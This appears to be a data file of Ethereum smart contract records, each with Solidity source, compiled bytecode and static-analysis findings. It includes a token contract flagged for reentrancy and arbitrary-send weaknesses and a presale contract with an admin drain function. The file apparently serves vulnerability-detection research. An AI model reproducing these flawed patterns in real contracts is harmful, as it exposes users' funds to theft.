greater than 0"); _maxTxAmount = maxTx; emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f7578063bc33718214610317578063c3c8cd8014610337578063c9567bf91461034c578063dd62ed3e1461036157600080fd5b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a9059cbb146102d757600080fd5b8063273123b7116100dc578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610119578063095ea7b31461016357806318160ddd1461019357806323b872dd146101b957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600f81526e0a6eae0cae440a6dedcd2c6408ae8d608b1b60208201525b60405161015a9190611972565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611803565b6103a7565b604051901515815260200161015a565b34801561019f57600080fd5b50683635c9adc5dea000005b60405190815260200161015a565b3480156101c557600080fd5b506101836101d43660046117c3565b6103be565b3480156101e557600080fd5b506101f96101f4366004611753565b610427565b005b34801561020757600080fd5b506040516009815260200161015a565b34801561022357600080fd5b506101f96102323660046118f5565b61047b565b34801561024357600080fd5b506101f96104c3565b34801561025857600080fd5b506101ab610267366004611753565b6104f0565b34801561027857600080fd5b506101f9610512565b34801561028d57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102b557600080fd5b50604080518082019091526005815264534f4e494360d81b602082015261014d565b3480156102e357600080fd5b506101836102f2366004611803565b610586565b34801561030357600080fd5b506101f961031236600461182e565b610593565b34801561032357600080fd5b506101f961033236600461192d565b610637565b34801561034357600080fd5b506101f96106ec565b34801561035857600080fd5b506101f9610722565b34801561036d57600080fd5b506101ab61037c36600461178b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b4338484610ae5565b5060015b92915050565b60006103cb848484610c09565b61041d843361041885604051806060016040528060288152602001611b43602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa3565b610ae5565b5060019392505050565b6000546001600160a01b0316331461045a5760405162461bcd60e51b8152600401610451906119c5565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a55760405162461bcd60e51b8152600401610451906119c5565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e357600080fd5b476104ed81610fdd565b50565b6001600160a01b0381166000908152600260205260408120546103b890611062565b6000546001600160a01b0316331461053c5760405162461bcd60e51b8152600401610451906119c5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b4338484610c09565b6000546001600160a01b031633146105bd5760405162461bcd60e51b8152600401610451906119c5565b60005b8151811015610633576001600660008484815181106105ef57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062b81611ad8565b9150506105c0565b5050565b6000546001600160a01b031633146106615760405162461bcd60e51b8152600401610451906119c5565b600081116106b15760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610451565b60128190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600e546001600160a01b0316336001600160a01b03161461070c57600080fd5b6000610717306104f0565b90506104ed816110e6565b6000546001600160a01b0316331461074c5760405162461bcd60e51b8152600401610451906119c5565b601154600160a01b900460ff16156107a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610451565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e33082683635c9adc5dea00000610ae5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081c57600080fd5b505afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610854919061176f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089c57600080fd5b505afa1580156108b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d4919061176f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091c57600080fd5b505af1158015610930573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610954919061176f565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d7194730610984816104f0565b6000806109996000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a359190611945565b505060118054678ac7230489e8000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aad57600080fd5b505af1158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190611911565b6001600160a01b038316610b475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610451565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610451565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610451565b6001600160a01b038216610ccf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610451565b60008111610d315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610451565b6004600a556006600b556000546001600160a01b03848116911614801590610d6757506000546001600160a01b03838116911614155b15610f46576001600160a01b03831660009081526006602052604090205460ff16158015610dae57506001600160a01b03821660009081526006602052604090205460ff16155b610db757600080fd5b6011546001600160a01b038481169116148015610de257506010546001600160a01b03838116911614155b8015610e0757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e1c5750601154600160b81b900460ff165b15610e7957601254811115610e3057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e5457600080fd5b610e5f42601e611a6a565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ea457506010546001600160a01b03848116911614155b8015610ec957506001600160a01b03831660009081526005602052604090205460ff16155b15610ed9576001600a556009600b555b6000610ee4306104f0565b601154909150600160a81b900460ff16158015610f0f57506011546001600160a01b03858116911614155b8015610f245750601154600160b01b900460ff165b15610f4457610f32816110e6565b478015610f4257610f4247610fdd565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8857506001600160a01b03831660009081526005602052604090205460ff165b15610f91575060005b610f9d8484848461128b565b50505050565b60008184841115610fc75760405162461bcd60e51b81526004016104519190611972565b506000610fd48486611ac1565b95945050505050565b600e546001600160a01b03166108fc610ff78360026112b9565b6040518115909202916000818181858888f1935050505015801561101f573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61103a8360026112b9565b6040518115909202916000818181858888f19350505050158015610633573d6000803e3d6000fd5b60006008548211156110c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610451565b60006110d36112fb565b90506110df83826112b9565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119057600080fd5b505afa1580156111a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c8919061176f565b816001815181106111e957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260105461120f9130911684610ae5565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112489085906000908690309042906004016119fa565b600060405180830381600087803b15801561126257600080fd5b505af1158015611276573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b806112985761129861131e565b6112a384848461134c565b80610f9d57610f9d600c54600a55600d54600b55565b60006110df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611443565b6000806000611308611471565b909250905061131782826112b9565b9250505090565b600a5415801561132e5750600b54155b1561133557565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061135e876114b3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113909087611510565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113bf9086611552565b6001600160a01b0389166000908152600260205260409020556113e1816115b1565b6113eb84836115fb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143091815260200190565b60405180910390a3505050505050505050565b600081836114645760405162461bcd60e51b81526004016104519190611972565b506000610fd48486611a82565b6008546000908190683635c9adc5dea0000061148d82826112b9565b8210156114aa57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114d08a600a54600b5461161f565b92509250925060006114e06112fb565b905060008060006114f38e878787611674565b919e509c509a509598509396509194505050505091939550919395565b60006110df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa3565b60008061155f8385611a6a565b9050838110156110df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610451565b60006115bb6112fb565b905060006115c983836116c4565b306000908152600260205260409020549091506115e69082611552565b30600090815260026020526040902055505050565b6008546116089083611510565b6008556009546116189082611552565b6009555050565b6000808080611639606461163389896116c4565b906112b9565b9050600061164c60646116338a896116c4565b905060006116648261165e8b86611510565b90611510565b9992985090965090945050505050565b600080808061168388866116c4565b9050600061169188876116c4565b9050600061169f88886116c4565b905060006116b18261165e8686611510565b939b939a50919850919650505050505050565b6000826116d3575060006103b8565b60006116df8385611aa2565b9050826116ec8583611a82565b146110df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610451565b803561174e81611b1f565b919050565b600060208284031215611764578081fd5b81356110df81611b1f565b600060208284031215611780578081fd5b81516110df81611b1f565b6000806040838503121561179d578081fd5b82356117a881611b1f565b915060208301356117b881611b1f565b809150509250929050565b6000806000606084860312156117d7578081fd5b83356117e281611b1f565b925060208401356117f281611b1f565b929592945050506040919091013590565b60008060408385031215611815578182fd5b823561182081611b1f565b946020939093013593505050565b60006020808385031215611840578182fd5b823567ffffffffffffffff80821115611857578384fd5b818501915085601f83011261186a578384fd5b81358181111561187c5761187c611b09565b8060051b604051601f19603f830116810181811085821117156118a1576118a1611b09565b604052828152858101935084860182860187018a10156118bf578788fd5b8795505b838610156118e8576118d481611743565b8552600195909501949386019386016118c3565b5098975050505050505050565b600060208284031215611906578081fd5b81356110df81611b34565b600060208284031215611922578081fd5b81516110df81611b34565b60006020828403121561193e578081fd5b5035919050565b600080600060608486031215611959578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561199e57858101830151858201604001528201611982565b818111156119af5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a495784516001600160a01b031683529383019391830191600101611a24565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7d57611a7d611af3565b500190565b600082611a9d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611abc57611abc611af3565b500290565b600082821015611ad357611ad3611af3565b500390565b6000600019821415611aec57611aec611af3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ed57600080fd5b80151581146104ed57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba745c9d84d86832996bebfd6fe20b8a9f07f2c6249ae36ca6af0209a081e83564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,782
0x0dabb82a8713ebbd1ee4bc07256b82e0c51931b1
/** *Submitted for verification at Etherscan.io on 2021-04-12 */ // SPDX-License-Identifier: NO-LICENSE pragma solidity <=0.7.4; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IGenesisSale { function purchase(address _reciever) external payable returns(bool); function allocate(uint256 _tokens, address _user, uint256 _method) external returns(bool); function reduceAllocation(uint256 _tokens, address _user) external returns(bool); function fetchPurchaseHistory(address _user) external view returns(uint256[] memory, uint256[] memory); function revokeOwnership(address _newOwner) external returns(bool); function claim() external returns(bool); function whitelist(address _user) external returns(bool); function updateCap(uint256 _minCap, uint256 _maxCap) external returns(bool); function lockDistribution(bool _state) external returns(bool); function updateGovernor(address _newGovernor) external returns(bool); function updateContract(address _contract) external returns(bool); function updateEthSource(address _ethSource) external returns(bool); function updateEthWallet(address _newEthWallet) external returns(bool); function updateOrgWallet(address _newOrgWallet) external returns(bool); function updatePresalePrice(uint256 _newPrice) external returns(bool); function drain(address _to, uint256 _amount) external returns(bool); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); } interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface IWhiteListOracle { function whitelist(address _user) external returns(bool); function blacklist(address _user) external returns(bool); function transferGovernor(address _newGovernor) external returns(bool); function whitelisted(address _user) external view returns(bool); } contract GenesisSale is ReentrancyGuard { address public organisation; address payable public ethWallet; address public governor; address public admin; address public edgexContract; address public ethPriceSource; address public whitelistOracle; uint256 public presalePrice; // $1 = 100000000 - 8 precision uint256 public maxCap; uint256 public minCap; bool public locked; struct History{ uint256[] timestamps; uint256[] amounts; uint256[] paymentMethod; uint256[] price; } mapping(address => uint256) public allocated; mapping(address => uint256) public purchased; mapping(address => History) private history; event Purchase(address indexed to, uint256 amount); event UpdatePrice(uint256 _price); event UpdateGovernor(address indexed _governor); event RevokeOwnership(address indexed _newOwner); /** * contract address of edgex token & price oracle to be passed as an argument to constructor */ constructor( address _ethWallet, address _organisation, address _governor, address _admin, address _ethSource, address _whitelistOracle, address _edgexContract, uint256 _presalePrice ) { organisation = _organisation; ethWallet = payable(_ethWallet); governor = _governor; whitelistOracle = _whitelistOracle; admin = _admin; edgexContract = _edgexContract; ethPriceSource = _ethSource; presalePrice = _presalePrice; } modifier onlyAdmin(){ require(msg.sender == admin,"Caller not admin"); _; } modifier onlyGovernor(){ require(msg.sender == governor, "Caller not Governor"); _; } modifier isZero(address _address){ require(_address != address(0),"Invalid Address"); _; } function isWhitelisted(address _user) public virtual view returns(bool){ return IWhiteListOracle(whitelistOracle).whitelisted(_user); } function purchase(address _reciever) public payable nonReentrant returns(bool){ uint256 tokens = calculate(msg.value); require(tokens >= minCap,"ValueError"); require(tokens <= maxCap,"ValueError"); require(isWhitelisted(_reciever),"Address not verified"); purchased[_reciever] = SafeMath.add(purchased[_reciever],tokens); if(locked){ allocated[_reciever] = SafeMath.add(allocated[_reciever],tokens); ethWallet.transfer(msg.value); } else{ IERC20(edgexContract).transfer( _reciever,tokens); IERC20(edgexContract).transfer( organisation, SafeMath.div(tokens,100) ); ethWallet.transfer(msg.value); } History storage h = history[_reciever]; h.timestamps.push(block.timestamp); h.amounts.push(tokens); h.price.push(presalePrice); emit Purchase(_reciever,tokens); return true; } /** * Used for calculate the amount of tokens purchased * returns an uint256 which is 18 decimals of precision * Equivalent amount of EDGX Tokens to be transferred. */ function calculate(uint256 _amount) private view returns(uint256){ uint256 value = uint256(fetchEthPrice()); value = SafeMath.mul(_amount,value); uint256 tokens = SafeMath.div(value,presalePrice); return tokens; } /** * Used to allocated tokens for purchase through other methods * Send the amount to be allocated as 18 decimals */ function allocate(uint256 _tokens,address _user, uint256 _method) public onlyGovernor nonReentrant returns(bool){ require(_tokens >= minCap,"ValueError"); require(_tokens <= maxCap,"ValueError"); if(locked){ allocated[_user] = SafeMath.add(allocated[_user],_tokens); purchased[_user] = SafeMath.add(purchased[_user],_tokens); } else { IERC20(edgexContract).transfer(_user,_tokens); IERC20(edgexContract).transfer( organisation, SafeMath.div(_tokens,100) ); } History storage h = history[_user]; h.timestamps.push(block.timestamp); h.amounts.push(_tokens); h.price.push(presalePrice); h.paymentMethod.push(_method); emit Purchase(_user,_tokens); return true; } /** * Reduce allocated tokens of an user from the user"s allocated value */ function reduceAllocation(uint256 _tokens, address _user) public onlyAdmin returns(bool){ allocated[_user] = SafeMath.sub(allocated[_user],_tokens); return true; } /** * Used to transfer pre-sale tokens for other payment options */ function fetchPurchaseHistory(address _user) public view returns( uint256[] memory _timestamp, uint256[] memory _amounts ) { History storage h = history[_user]; return(h.timestamps,h.amounts); } /** @dev changing the admin of the oracle Warning : Admin can add governor, remove governor and can update price. */ function revokeOwnership(address _newOwner) public onlyAdmin isZero(_newOwner) returns(bool){ admin = payable(_newOwner); emit RevokeOwnership(_newOwner); return true; } /** * @dev withdraw the tokens from the contract by the user */ function claim() public nonReentrant returns(bool){ require(!locked, "Sale Locked"); require(allocated[msg.sender]>0, "No Tokens Allocated"); uint256 transferAmount = allocated[msg.sender]; allocated[msg.sender] = 0; IERC20(edgexContract).transfer(msg.sender,transferAmount); IERC20(edgexContract).transfer( organisation, SafeMath.div(transferAmount,100) ); return true; } /** * @dev fetches the price of Ethereum from chainlink oracle */ function fetchEthPrice() public view returns (int) { ( uint80 roundID, int price, uint startedAt, uint timeStamp, uint80 answeredInRound ) = AggregatorV3Interface(ethPriceSource).latestRoundData(); return price; } /** * @dev update the max and min cap */ function updateCap(uint256 _minCap, uint256 _maxCap) public onlyGovernor returns(bool){ maxCap = _maxCap; minCap = _minCap; return false; } function lockDistribution(bool _state) public onlyGovernor returns(bool){ locked = _state; return true; } function updateGovernor(address _newGovernor) public onlyGovernor isZero(_newGovernor) returns(bool){ governor = _newGovernor; emit UpdateGovernor(_newGovernor); return true; } function updateContract(address _contract) public onlyAdmin isZero(_contract) returns(bool){ edgexContract = _contract; return true; } function updateEthSource(address _ethSource) public onlyAdmin isZero(_ethSource) returns(bool){ ethPriceSource = _ethSource; return true; } function updateEthWallet(address _newEthWallet) public onlyAdmin isZero(_newEthWallet) returns(bool){ ethWallet = payable(_newEthWallet); return true; } function updateOrgWallet(address _newOrgWallet) public onlyAdmin isZero(_newOrgWallet) returns(bool){ organisation = _newOrgWallet; return true; } function updatePresalePrice(uint256 _newPrice) public onlyAdmin returns(bool){ presalePrice = _newPrice; emit UpdatePrice(_newPrice); return true; } function updateWhiteListOracle(address _newOracle) public onlyAdmin isZero(_newOracle) returns(bool){ whitelistOracle = _newOracle; return true; } function drain(address _to, uint256 _amount) public onlyAdmin isZero(_to) returns(bool){ IERC20(edgexContract).transfer(_to,_amount); return true; } }
0x6080604052600436106101d75760003560e01c80636131618611610102578063b1e9187311610095578063f1b2bc8d11610064578063f1b2bc8d146106eb578063f2041b3814610700578063f851a44014610715578063fd8d7a421461072a576101d7565b8063b1e918731461065b578063cf3090121461068e578063e3db17b8146106a3578063e738c350146106d6576101d7565b8063851d2900116100d1578063851d290014610586578063a3e271e5146105c5578063a7b13f39146105ef578063b184be8114610622576101d7565b806361316186146104b457806362f384ad146104e757806379f7a9cc1461051a57806383cfbd7f14610553576101d7565b80633e859fcb1161017a578063438b12d111610149578063438b12d1146104245780634c4ef592146104395780634e71d92d1461046c578063522fe98e14610481576101d7565b80633e859fcb146103975780633fa615b0146103c75780634225e5bb146103dc57806342f371c61461040f576101d7565b806323548b8b116101b657806323548b8b1461024957806325b31a971461025e57806337947c29146102985780633af32abf14610364576101d7565b80620e7fa8146101dc57806309094f7a146102035780630c340a2414610234575b600080fd5b3480156101e857600080fd5b506101f1610756565b60408051918252519081900360200190f35b34801561020f57600080fd5b5061021861075c565b604080516001600160a01b039092168252519081900360200190f35b34801561024057600080fd5b5061021861076b565b34801561025557600080fd5b506101f161077a565b6102846004803603602081101561027457600080fd5b50356001600160a01b0316610780565b604080519115158252519081900360200190f35b3480156102a457600080fd5b506102cb600480360360208110156102bb57600080fd5b50356001600160a01b0316610b7b565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561030f5781810151838201526020016102f7565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561034e578181015183820152602001610336565b5050505090500194505050505060405180910390f35b34801561037057600080fd5b506102846004803603602081101561038757600080fd5b50356001600160a01b0316610c4a565b3480156103a357600080fd5b50610284600480360360408110156103ba57600080fd5b5080359060200135610ccd565b3480156103d357600080fd5b506101f1610d39565b3480156103e857600080fd5b506101f1600480360360208110156103ff57600080fd5b50356001600160a01b0316610d3f565b34801561041b57600080fd5b50610218610d51565b34801561043057600080fd5b50610218610d60565b34801561044557600080fd5b506102846004803603602081101561045c57600080fd5b50356001600160a01b0316610d6f565b34801561047857600080fd5b50610284610e39565b34801561048d57600080fd5b506101f1600480360360208110156104a457600080fd5b50356001600160a01b0316611070565b3480156104c057600080fd5b50610284600480360360208110156104d757600080fd5b50356001600160a01b0316611082565b3480156104f357600080fd5b506102846004803603602081101561050a57600080fd5b50356001600160a01b031661114a565b34801561052657600080fd5b506102846004803603604081101561053d57600080fd5b50803590602001356001600160a01b0316611240565b34801561055f57600080fd5b506102846004803603602081101561057657600080fd5b50356001600160a01b03166112da565b34801561059257600080fd5b50610284600480360360608110156105a957600080fd5b508035906001600160a01b0360208201351690604001356113cd565b3480156105d157600080fd5b50610284600480360360208110156105e857600080fd5b5035611756565b3480156105fb57600080fd5b506102846004803603602081101561061257600080fd5b50356001600160a01b03166117eb565b34801561062e57600080fd5b506102846004803603604081101561064557600080fd5b506001600160a01b0381351690602001356118b5565b34801561066757600080fd5b506102846004803603602081101561067e57600080fd5b50356001600160a01b03166119e4565b34801561069a57600080fd5b50610284611aae565b3480156106af57600080fd5b50610284600480360360208110156106c657600080fd5b50356001600160a01b0316611ab7565b3480156106e257600080fd5b50610218611b81565b3480156106f757600080fd5b50610218611b90565b34801561070c57600080fd5b506101f1611b9f565b34801561072157600080fd5b50610218611c2f565b34801561073657600080fd5b506102846004803603602081101561074d57600080fd5b50351515611c3e565b60085481565b6002546001600160a01b031681565b6003546001600160a01b031681565b60095481565b6000600260005414156107da576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260009081556107ea34611cad565b9050600a54811015610830576040805162461bcd60e51b815260206004820152600a6024820152692b30b63ab2a2b93937b960b11b604482015290519081900360640190fd5b600954811115610874576040805162461bcd60e51b815260206004820152600a6024820152692b30b63ab2a2b93937b960b11b604482015290519081900360640190fd5b61087d83610c4a565b6108c5576040805162461bcd60e51b81526020600482015260146024820152731059191c995cdcc81b9bdd081d995c9a599a595960621b604482015290519081900360640190fd5b6001600160a01b0383166000908152600d60205260409020546108e89082611cdc565b6001600160a01b0384166000908152600d6020526040902055600b5460ff1615610985576001600160a01b0383166000908152600c602052604090205461092f9082611cdc565b6001600160a01b038085166000908152600c602052604080822093909355600254925192909116913480156108fc0292909190818181858888f1935050505015801561097f573d6000803e3d6000fd5b50610ad8565b6005546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156109db57600080fd5b505af11580156109ef573d6000803e3d6000fd5b505050506040513d6020811015610a0557600080fd5b50506005546001546001600160a01b039182169163a9059cbb9116610a2b846064611d3d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d6020811015610a9b57600080fd5b50506002546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015610ad6573d6000803e3d6000fd5b505b6001600160a01b0383166000818152600e6020908152604080832080546001818101835582865284862042920191909155808201805480830182559086528486200187905560085460038301805492830181558652948490200193909355805185815290519293927f2499a5330ab0979cc612135e7883ebc3cd5c9f7a8508f042540c34723348f632929181900390910190a26001925050506001600055919050565b6001600160a01b0381166000908152600e6020908152604091829020805483518184028101840190945280845260609384938392600184019291849190830182828015610be757602002820191906000526020600020905b815481526020019060010190808311610bd3575b5050505050915080805480602002602001604051908101604052809291908181526020018280548015610c3957602002820191906000526020600020905b815481526020019060010190808311610c25575b505050505090509250925050915091565b60075460408051636c9b2a3f60e11b81526001600160a01b0384811660048301529151600093929092169163d936547e91602480820192602092909190829003018186803b158015610c9b57600080fd5b505afa158015610caf573d6000803e3d6000fd5b505050506040513d6020811015610cc557600080fd5b505192915050565b6003546000906001600160a01b03163314610d25576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1023b7bb32b93737b960691b604482015290519081900360640190fd5b506009819055600a82905560005b92915050565b600a5481565b600c6020526000908152604090205481565b6006546001600160a01b031681565b6001546001600160a01b031681565b6004546000906001600160a01b03163314610dc4576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116610e12576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600280546001600160a01b0385166001600160a01b03199091161790556001915050919050565b600060026000541415610e93576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600055600b5460ff1615610ede576040805162461bcd60e51b815260206004820152600b60248201526a14d85b1948131bd8dad95960aa1b604482015290519081900360640190fd5b336000908152600c6020526040902054610f35576040805162461bcd60e51b8152602060048201526013602482015272139bc8151bdad95b9cc8105b1b1bd8d85d1959606a1b604482015290519081900360640190fd5b336000818152600c60209081526040808320805490849055600554825163a9059cbb60e01b8152600481019690965260248601829052915190946001600160a01b039092169363a9059cbb93604480850194919392918390030190829087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d6020811015610fcb57600080fd5b50506005546001546001600160a01b039182169163a9059cbb9116610ff1846064611d3d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561103757600080fd5b505af115801561104b573d6000803e3d6000fd5b505050506040513d602081101561106157600080fd5b50600192505050600160005590565b600d6020526000908152604090205481565b6004546000906001600160a01b031633146110d7576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116611125576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600180546001600160a01b0385166001600160a01b0319909116178155915050919050565b6003546000906001600160a01b031633146111a2576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1023b7bb32b93737b960691b604482015290519081900360640190fd5b816001600160a01b0381166111f0576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0385169081179091556040517f49e8ccdfbc26d458bf9e9a05311a53187820bf3c43fc5da574ddfb40e871353990600090a250600192915050565b6004546000906001600160a01b03163314611295576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b6001600160a01b0382166000908152600c60205260409020546112b89084611d7f565b6001600160a01b0383166000908152600c602052604090205550600192915050565b6004546000906001600160a01b0316331461132f576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b03811661137d576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0385169081179091556040517f2d760b10f59f9d65a092cfebe73f70fd0a4e19e59791ff